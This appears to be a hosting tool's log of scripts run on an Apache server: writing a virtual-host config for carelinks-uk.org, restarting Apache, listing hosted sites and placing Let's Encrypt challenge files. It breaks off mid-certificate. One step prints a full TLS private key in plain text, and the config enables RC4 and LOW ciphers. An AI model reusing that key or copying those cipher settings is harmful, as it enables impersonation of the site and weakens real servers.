    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-24 06:00:14: 

PUT: /tmp/pkp568908

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi


2026-05-24 06:00:14: 

chmod 755 /tmp/pkp568908; /tmp/pkp568908; rm /tmp/pkp568908

2026-05-24 06:00:14: 




2026-05-24 06:00:14: 

PUT: /tmp/pkp451412

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 06:00:14: 

chmod 755 /tmp/pkp451412; /tmp/pkp451412; rm /tmp/pkp451412

2026-05-24 06:00:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:14: Establishing a connection
2026-05-24 06:00:15: 

PUT: /tmp/pkp530676

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 06:00:15: 

chmod 755 /tmp/pkp530676; /tmp/pkp530676; rm /tmp/pkp530676

2026-05-24 06:00:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 06:00:15: 

PUT: /tmp/pkp855225

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:15: 

chmod 755 /tmp/pkp855225; /tmp/pkp855225; rm /tmp/pkp855225

2026-05-24 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf	1415

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-24 06:00:15: 

PUT: /tmp/pkp862467

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 06:00:15: 

chmod 755 /tmp/pkp862467; /tmp/pkp862467; rm /tmp/pkp862467

2026-05-24 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt	5378
a5:3a:a0:1f:66:2c:b5:15:1d:0f:43:b0:82:a4:33:dc

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBQXt1qqMfqZr61clnxbMHHg5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI0MDUwMTQzWhcNMjYwODIyMDUwMTQyWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA2Q7Fe3wk1ZbrySMvsHdxU3EMFPTKSSvLVwtL6SqnjThCQa5V2Bo8y8Nh4SRk
s1TnUgr5PAgUF1LqJEntxkmby+cNZcKiTVWzjU05ghIdFp9y6L5I/d9aRmmsEJgn
71HUgVTYu1SOcVRQ81W50927q0M1J1FDfOGpbx2QIQnKI2Zs+dVwPIdS7mJII1fO
u9ML/ZLTUnx/LuYCtQ350riG2jU9nfHyYmgx/7lrONs0fY/K+Ug1L0r6nnMBjm/H
Cvv85wb3pHjihk5FBNn16VZdkkdgyGoIl3M7SRIGxhkGIZqdqmzodJ6KRo5BLE+u
/57+YBCzYh64v5fW53PI57vbPwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFKq0
W8u5bNCNCCcG4VAThO1c6K6OMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLXVrLm9yZ4IUd3d3LmNhcmVs
aW5rcy11ay5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81OC5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ5Y
kdZuAAAEAwBHMEUCIQC50EQC0fD6nzNNv3hoHkiNHG5Y2fqkWvo4xYstFwMCAwIg
VMIAkta7xWlzk5eSEbvNz+MRD4yJuS/KnFWgHnE5iToAfwAai51rD/6/gbR5OcbS
MQqG1tEC1PBG4hgsneNfXiYl7wAAAZ5YkdiFAAgAAAUAFj4EQQQDAEgwRgIhAMOY
KSvoCbnib7q1cpJlSg3QsoE8DfnCgGdS9JWPowXKAiEAg0mdXhQHohqNfULfcigE
kumS2/mxMfwbuNYlbecwdu4wDQYJKoZIhvcNAQELBQADggEBADFvTeJghKp/wmdz
1qIwPMTsLkUychSPcVYk5rT5/x/Tm06kc76/SedRsmyAGYAyRF9Wg1fIHUjQsQw8
VpOo0Lc7y/RxBQ4y2eO4eL+v2Rv/UP4og9RJu+8tgBjgVLo7BFWrQ6kG8A8YwOYZ
ZZKGU3HLyLxPtU+Dv6QQcVSsKt0Orp5JXjXyjAo2iUipaY9M738wIrlGVH5PAFgY
5znavjkZZk159JWFnooYa7YAeUCXhJw1XXxRUIbnsrmT8dTiWuPj8ta6diGnbBrG
v7CpVKQeQBKJc+mCyY4kZJy/wwljL7obuOcYCXq2XfjpZ2ed4sIR3FC+A++Vva2G
sJumW3k=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDZDsV7fCTVluvJ
Iy+wd3FTcQwU9MpJK8tXC0vpKqeNOEJBrlXYGjzLw2HhJGSzVOdSCvk8CBQXUuok
Se3GSZvL5w1lwqJNVbONTTmCEh0Wn3Lovkj931pGaawQmCfvUdSBVNi7VI5xVFDz
VbnT3burQzUnUUN84alvHZAhCcojZmz51XA8h1LuYkgjV8670wv9ktNSfH8u5gK1
DfnSuIbaNT2d8fJiaDH/uWs42zR9j8r5SDUvSvqecwGOb8cK+/znBvekeOKGTkUE
2fXpVl2SR2DIagiXcztJEgbGGQYhmp2qbOh0nopGjkEsT67/nv5gELNiHri/l9bn
c8jnu9s/AgMBAAECggEAJMPEPlS6NnVQLarojnbEurHornoB81/YGr++lVlUtO5F
BrP9NVPIXWkUIJrV9awZXEOgkIL7yDGSmB/vhsj7+w8BLW3IqNmtxm7AoV/pDmZm
g7aLTXjx5QBMFSl4higxmtBgv2YklFyIM5cfGRwzB+Cj1auFh1b/qGL1ASuT0efc
5iFt5jgvynEsiD1B8ZWZ5XMdWdvQ8mGPOfTDT2wlhVkYToHUMu/HafynW+yym7ld
NZh8CLztng+e0CHk9yZmRAh/3L6B2+/W6C4fh5AdCaJZ8q7dlBcsj40q25K04Lno
VeTTRQwX0ZYPFmTtC9mT48DyJG5wv46hubRqX9XpXQKBgQD62pDWAqY4dPP1fjou
Djaox5ePM/l3tVOClPZo+/FXkSt7HMQ7vjEJ9qaA5NcVOLWI3U6YE6ar6fRKuB8o
iTEOhzsbCI4LlvpPxPPA4ERHYh0t3KfoaClR+F3AK2wqCV7zk/VHkzLGfU7nNySa
/eWCGgVxoG4Exzv6/dRiEwSjLQKBgQDdgrcjqSnClP2qWhOmK6q4ldar11yT6BLl
VStnjb3bgEfQ7XOfCAdFg5zFq1bSYcjWH02UXMIhResqkW92XdShc87cuvNHJPoo
eEv2qO7tIcy8+CuDXS0jVYfKjz8b0/9bFPP5oEwF46gDrwlOINIiGuAq+WIUlqu9
R0krw2armwKBgQCeja1EB3Kmdo2IGluNpqA3t8f81H4Wgr6g56SDoNLfZTtVWk5R
8JmwUXzWNU4Y9LoRIsg9aRZMzNgCrjPLfENMin76TELz4l6eMr9apqWhdMs6pKBg
Tg3n6JLhFtEMFNY2IMvEjK5oNOW9UOZLLLV2sRnFwwAm9wLbVrp5rsmclQKBgQC6
4F6VbU/X406me1v8Yvaix3bWftiRx8a5R8NYl9JG7tCnyMw0rNdFpCWM9mJHF0wS
qVIQCrmUzKH7xbrdh4ettkAdJHO938pUfjjIHfmEgXFzM4OyTdeY6b2n/HXnilDy
jJjQTpYUmd3TTcZx7Wqab0YTu1UtvXeiNhPbIfzqZQKBgG0XlG/m+RT1qKnFjrJl
GUROl4aT6cgmmIzZWwcivHcjtEupWixhACPSjdZUaV98TVctaJoEtHATi/emMBHG
osP6M7vwD2JFXXZKKHU0nlDYaq87RLU7Nmk4I7wssW1eCqCKJQff7JZhJKS62oHI
PvUUeX4NierC1ViTjESZOANO
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-24 06:00:15: Establishing a connection
2026-05-24 06:00:15: Establishing a connection
2026-05-24 06:00:15: 

PUT: /tmp/pkp110392

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:15: 

chmod 755 /tmp/pkp110392; /tmp/pkp110392; rm /tmp/pkp110392

2026-05-24 06:00:15: 


1


2026-05-24 06:00:16: Establishing a connection
2026-05-24 06:00:16: 

PUT: /tmp/pkp786849

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > Z1fcWo6CmNooVK_YFwv6omxnMpvZkUi-Y5ZIriMx0BE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Z1fcWo6CmNooVK_YFwv6omxnMpvZkUi-Y5ZIriMx0BE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Z1fcWo6CmNooVK_YFwv6omxnMpvZkUi-Y5ZIriMx0BE


2026-05-24 06:00:16: 

chmod 755 /tmp/pkp786849; /tmp/pkp786849; rm /tmp/pkp786849

2026-05-24 06:00:16: 




2026-05-24 06:00:17: Establishing a connection
2026-05-24 06:00:17: Establishing a connection
2026-05-24 06:00:18: 

PUT: /tmp/pkp975940

#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 06:00:18: 

chmod 755 /tmp/pkp975940; /tmp/pkp975940; rm /tmp/pkp975940

2026-05-24 06:00:18: 


1


2026-05-24 06:00:18: Establishing a connection
2026-05-24 06:00:18: 

PUT: /tmp/pkp843398

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > nXgeRkDjsaK-UjpPGjy0nVJKxJ91ceDaVpfeWb2EIJs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nXgeRkDjsaK-UjpPGjy0nVJKxJ91ceDaVpfeWb2EIJs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nXgeRkDjsaK-UjpPGjy0nVJKxJ91ceDaVpfeWb2EIJs
cat > lz4yib5IVs-2c4GoFBsgPrj7fesElxlFnT1tuj9ebfc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lz4yib5IVs-2c4GoFBsgPrj7fesElxlFnT1tuj9ebfc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lz4yib5IVs-2c4GoFBsgPrj7fesElxlFnT1tuj9ebfc


2026-05-24 06:00:18: 

chmod 755 /tmp/pkp843398; /tmp/pkp843398; rm /tmp/pkp843398

2026-05-24 06:00:18: 




2026-05-24 06:00:25: Establishing a connection
2026-05-24 06:00:25: 

PUT: /tmp/pkp657673

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm nXgeRkDjsaK-UjpPGjy0nVJKxJ91ceDaVpfeWb2EIJs
rm lz4yib5IVs-2c4GoFBsgPrj7fesElxlFnT1tuj9ebfc


2026-05-24 06:00:25: 

chmod 755 /tmp/pkp657673; /tmp/pkp657673; rm /tmp/pkp657673

2026-05-24 06:00:25: 




2026-05-24 06:00:25: Establishing a connection
2026-05-24 06:00:26: 

PUT: /tmp/pkp334092

#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt

cat > $temp_file <<'endmsg'
dc:65:4e:16:82:d7:ca:6f:ae:05:a8:10:b8:aa:42:1f

-----BEGIN CERTIFICATE-----
